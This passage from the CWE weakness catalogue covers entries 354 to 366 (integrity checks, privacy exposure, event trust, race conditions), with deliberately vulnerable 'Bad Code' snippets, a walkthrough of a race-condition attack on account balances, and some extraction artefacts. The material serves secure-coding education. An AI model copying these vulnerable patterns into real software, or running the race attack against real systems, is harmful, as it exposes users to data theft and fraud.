outSock.send(sp);
}
```

The response containing secret data has no integrity check associated with it, allowing an attacker to alter the message without detection.

Potential Mitigations

Architecture and Design

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

Implementation

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page

CWE-354: Improper Validation of Integrity Check Value

Weakness ID: 354 (Weakness Base)

Status: Draft

Description

Summary

The software does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

Extended Description

Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Other

Modify application data

Other

Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.

Integrity

Other

Other

Data that is parsed and used may be corrupted.

Non-Repudiation

Other

Hide activities

Other

Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.

Likelihood of Exploit

Medium

Demonstrative Examples

The following example demonstrates the weakness.

C Example:

Bad Code

```
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clien = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, & clien);
}
```

Java Example:

Bad Code

```
while(true) {
    DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
    socket.send(sendPacket);
}
```

Potential Mitigations

Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	(UI) User Interface Errors

CWE-356: Product UI does not Warn User of Unsafe Actions

Weakness ID: 356 (Weakness Base) Status: Incomplete

Description

Summary

The software's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.

Extended Description

Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Non-Repudiation

CWE-358: Improperly Implemented Security Check for Standard

Weakness ID: 358 (Weakness Base)

Status: Draft

Description

Summary

The software does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

This is an implementation error, in which the algorithm/technique requires certain security-related behaviors or conditions that are not implemented or checked properly, thus causing a vulnerability.

Common Consequences

Access Control

Bypass protection mechanism

Observed Examples

Reference	Description
CVE-2002-0862	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
CVE-2002-0970	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
CVE-2002-1407	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
CVE-2004-2163	Shared secret not verified in a RADIUS response packet, allowing authentication bypass by spoofing server replies.
CVE-2005-0198	Logic error prevents some required conditions from being enforced during Challenge-Response Authentication Mechanism with MD5 (CRAM-MD5).
CVE-2005-2181	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.
CVE-2005-2182	Insufficient verification in VoIP implementation, in violation of standard, allows spoofed messages.
CVE-2005-2298	Security check not applied to all components, allowing bypass.

Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		254	7PK - Security Features	699 1003	443
CanAlsoBe		290	Authentication Bypass by Spoofing	1000	503
CanAlsoBe		345	Insufficient Verification of Data Authenticity	1000	591
ChildOf		573	Improper Following of Specification by Caller	1000	895
ChildOf		693	Protection Mechanism Failure	1000	1054
ChildOf		978	SFP Secondary Cluster: Implementation	888	1371
PeerOf		325	Missing Required Cryptographic Step	1000	560

Relationship Notes

This is a "missing step" error on the product side, which can overlap weaknesses such as insufficient verification and spoofing. It is frequently found in cryptographic and authentication errors. It is sometimes resultant.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Improperly Implemented Security Check for Standard

CWE-359: Exposure of Private Information ('Privacy Violation')

Weakness ID: 359 (Weakness Class)

Status: Incomplete

Description

Summary

The software does not properly prevent private data (such as credit card numbers) from being accessed by actors who either (1) are not explicitly authorized to access the data or (2) do not have the implicit consent of the people to which the data is related.

Extended Description

Mishandling private information, such as customer passwords or Social Security numbers, can compromise user privacy and is often illegal. An exposure of private information does not necessarily prevent the software from working properly, and in fact it might be intended by the developer, but it can still be undesirable (or explicitly prohibited by law) for the people who are associated with this private information.

Privacy violations may occur when:

- Private user information enters the program.

- The data is written to an external location, such as the console, file system, or network.

Private data can enter a program in a variety of ways:

- Directly from the user in the form of a password or personal information

- Accessed from a database or other data store by the application

- Indirectly from a partner or other third party

Some types of private information include:

- Government identifiers, such as Social Security Numbers

- Contact information, such as home addresses and telephone numbers

- Geographic location - where the user is (or was)

- Employment history

- Financial data - such as credit card numbers, salary, bank accounts, and debts

- Pictures, video, or audio

- Behavioral patterns - such as web surfing history, when certain activities are performed, etc.

- Relationships (and types of relationships) with others - family, friends, contacts, etc.

- Communications - e-mail addresses, private e-mail messages, SMS text messages, chat logs, etc.

- Health - medical conditions, insurance status, prescription records

- Credentials, such as passwords, which can be used to access other information.

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Depending on its location, the type of business it conducts, and the nature of any private data it handles, an organization may be required to comply with one or more of the following federal and state regulations: - Safe Harbor Privacy Framework [R.359.2] - Gramm-Leach Bliley Act (GLBA) [R.359.3] - Health Insurance Portability and Accountability Act (HIPAA) [R.359.4] - California SB-1386 [R.359.5].

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information.

However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable to store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

Alternate Terms

Privacy leak

Privacy leakage

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Architectural Paradigms

- Mobile Application

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Confidentiality

Read application data

Demonstrative Examples

Example 1:

In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [R.359.1]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

Example 2:

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

C# Example:

Bad Code

```
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);
```

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

Example 3:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

XML Example:

Bad Code

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Java Example:

Bad Code

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

CWE-360: Trust of System Event Data

Weakness ID: 360 (Weakness Base) Status: Incomplete

Description

Summary

Security based on event locations are insecure and can be spoofed.

Extended Description

Events are a messaging system which may provide control data to programs listening for events. Events often do not have any type of authentication framework to allow them to be verified

from a trusted source. Any application, in Windows, on a given desktop can send a message to any window on the same desktop. There is no authentication framework for these messages. Therefore, any message can be used to manipulate any process on the desktop if the process does not check the validity and safeness of those messages.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Confidentiality

Availability

Access Control

Gain privileges / assume identity

Execute unauthorized code or commands

If one trusts the system-event information and executes commands based on it, one could potentially take actions based on a spoofed identity.

Likelihood of Exploit

High

Demonstrative Examples

This example code prints out secret information when an authorized user activates a button:

Java Example:

Bad Code

```
public void actionPerformed(ActionEvent e) {
    if (e.getSource() == button) {
        System.out.println("print out secret information");
    }
}
```

This code does not attempt to prevent unauthorized users from activating the button. Even if the button is rendered non-functional to unauthorized users in the application UI, an attacker can easily send a false button press event to the application window and expose the secret information.

Potential Mitigations

Architecture and Design

Never trust or rely any of the information in an Event for security.

CWE-361: 7PK - Time and State

Category ID: 361 (Category)

Status: Incomplete

Description

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by

multiple systems, processes, or threads. According to the authors of the Seven Pernicious Kingdoms, "Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer's model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information."

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362 (*Weakness Class*)

Status: Draft

Description

Summary

The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.

Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C (*Sometimes*)
- C++ (*Sometimes*)
- Java (*Sometimes*)
- Language-Independent

Architectural Paradigms

- Concurrent Systems Operating on Shared Resources (*Often*)

Common Consequences

Availability

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

DoS: resource consumption (other)

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).

Availability**DoS: crash / exit / restart****DoS: instability**

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.

Confidentiality**Integrity****Read files or directories****Read application data**

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).

Likelihood of Exploit

Medium

Detection Methods**Black Box**

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become unstable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis**Moderate**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Automated Static Analysis - Binary / Bytecode**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Framework-based Fuzzer

Cost effective for partial coverage:

Fuzz Tester

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

Perl Example:*Bad Code*

```
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
    FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
    FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");
```

A race condition could occur between the calls to `GetBalanceFromDatabase()` and `SendNewBalanceToDatabase()`.

Suppose the balance is initially 100.00. An attack could be constructed as follows:

PseudoCode Example:*Attack*

In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.

CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets \$balance to 100.00
PROGRAM-1 calculates \$newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets \$balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Example 2:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

C Example:

Bad Code

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

Good Code

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Observed Examples

Reference	Description
CVE-2007-3970	Race condition in file parser leads to heap corruption.
CVE-2007-5794	Race condition in library function could cause data to be sent to the wrong process.
CVE-2007-6180	chain: race condition triggers NULL pointer dereference
CVE-2007-6599	Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
CVE-2008-0058	Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
CVE-2008-0379	Race condition during initialization triggers a buffer overflow.
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-5021	chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.

Reference	Description
CVE-2008-5044	Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
CVE-2009-4895	chain: race condition for an argument value, possibly resulting in NULL dereference

Potential Mitigations

Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Architecture and Design

Operation

Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.362.11]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Research Gaps

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

Maintenance Notes

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

CWE-363: Race Condition Enabling Link Following

Weakness ID: 363 (*Weakness Base*)

Status: Draft

Description

Summary

The software checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the software to access the wrong file.

Extended Description

While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the software to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Integrity

Read files or directories

Modify files or directories

Demonstrative Examples

This code prints the contents of a file if a user has permission.

PHP Example:

Bad Code

```
function readFile($filename){
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        return false;
    }
}
```

}

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to `is_link()` and `file_get_contents()`, allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
CanPrecede	B	59	Improper Link Resolution Before File Access ('Link Following')	1000	88
ChildOf	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	699 1000	633

CWE-364: Signal Handler Race Condition

Weakness ID: 364 (Weakness Base)

Status: Incomplete

Description

Summary

The software uses a signal handler that introduces a race condition.

Extended Description

Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the software state to be corrupted, possibly leading to a denial of service or even code execution.

These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when `free` is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to `NULL` after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to `NULL`. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.

There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":

Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code

Shared state between a signal handler and other signal handlers

Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.

Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.

Use of setjmp and longjmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality

While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.

Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:

Avoiding shared state

Using synchronization in the signal handler

Using synchronization in the regular code

Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C (*Sometimes*)
- C++ (*Sometimes*)

Common Consequences

Integrity

Confidentiality

Availability

Modify application data

Modify memory

DoS: crash / exit / restart

Execute unauthorized code or commands

It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.

Access Control

Gain privileges / assume identity

If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

C Example:*Bad Code*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.

The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.

The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").

SIGHUP-handler begins to execute, calling syslog().

syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.

The attacker then sends SIGTERM.

SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.

The SIGTERM handler is invoked.

SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.364.1]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

C Example:*Bad Code*

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
```

```

void sh (int dummy) {
    syslog(LOG_NOTICE, "%s\n", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP, sh);
    signal(SIGTERM, sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
    
```

However, the following sequence of events may result in a double-free (CWE-415):

- a SIGHUP is delivered to the process
- sh() is invoked to process the SIGHUP
- This first invocation of sh() reaches the point where global1 is freed
- At this point, a SIGTERM is sent to the process
- the second invocation of sh() might do another free of global1
- this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [R.364.1].

Observed Examples

Reference	Description
CVE-1999-0035	Signal handler does not disable other signal handlers, allowing it to be interrupted, causing other functionality to access files/etc. with raised privileges
CVE-2001-0905	Attacker can send a signal while another signal handler is already running, leading to crash or execution with root privileges
CVE-2001-1349	unsafe calls to library functions from signal handler
CVE-2004-0794	SIGURG can be used to remotely interrupt signal handler; other variants exist
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.

Potential Mitigations

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Architecture and Design

Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.

Implementation

Only use reentrant functions within signal handlers. Also, use sanity checks to ensure that state is consistent while performing asynchronous actions that affect the state of execution.

CWE-365: Race Condition in Switch

Weakness ID: 365 (*Weakness Base*)

Status: Draft

Description

Summary

The code contains a switch statement in which the switched variable can be modified while the switch is still executing, resulting in unexpected behavior.

Extended Description

This issue is particularly important in the case of switch statements that involve fall-through style case statements - ie., those which do not end with break. If the variable being tested by the switch changes in the course of execution, this could change the intended logic of the switch so much that it places the process in a contradictory state and in some cases could even result in memory corruption.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C

- C++
- Java
- .NET

Common Consequences

Integrity

Other

Alter execution logic

Unexpected state

This weakness may lead to unexpected system state, resulting in unpredictable behavior.

Likelihood of Exploit

Medium

Demonstrative Examples

This example has a switch statement that executes different code depending on the current time.

C Example:

Bad Code

```
#include <sys/types.h>
#include <sys/stat.h>
int main(argc,argv){
    struct stat *sb;
    time_t timer;
    lstat("bar.sh",sb);
    printf("%d\n",sb->st_ctime);
    switch(sb->st_ctime % 2){
        case 0: printf("One option\n");
            break;
        case 1: printf("another option\n");
            break;
        default: printf("huh\n");
            break;
    }
    return 0;
}
```

It seems that the default case of the switch statement should never be reached, as `st_ctime % 2` should always be 0 or 1. However, if `st_ctime % 2` is 1 when the first case is evaluated, the time may change and `st_ctime % 2` may be equal to 0 when the second case is evaluated. The result is that neither case 1 or case 2 execute, and the default option is chosen.

Potential Mitigations

Implementation

Variables that may be subject to race conditions should be locked before the switch statement starts and only unlocked after the statement ends.

CWE-366: Race Condition within a Thread

Weakness ID: 366 (Weakness Base)

Status: Draft

Description

Summary

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Integrity

Other

Alter execution logic

Unexpected state

The main problem is that -- if a lock is overcome -- data could be altered in a bad state.

Likelihood of Exploit

Medium

Demonstrative Examples

The following example demonstrates the weakness.

C Example:

Bad Code

```
int foo = 0;
int storenum(int num) {
    static int counter = 0;
    counter++;
    if (num > foo) foo = num;
